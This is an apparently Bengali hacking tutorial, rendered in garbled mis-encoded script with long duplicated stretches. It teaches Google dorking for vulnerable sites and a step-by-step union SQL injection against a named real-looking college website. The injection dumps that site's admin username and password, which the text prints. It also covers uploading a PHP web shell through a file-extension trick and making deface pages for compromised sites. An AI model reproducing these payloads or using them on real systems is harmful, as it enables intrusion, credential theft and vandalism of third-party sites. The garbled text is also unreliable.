এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
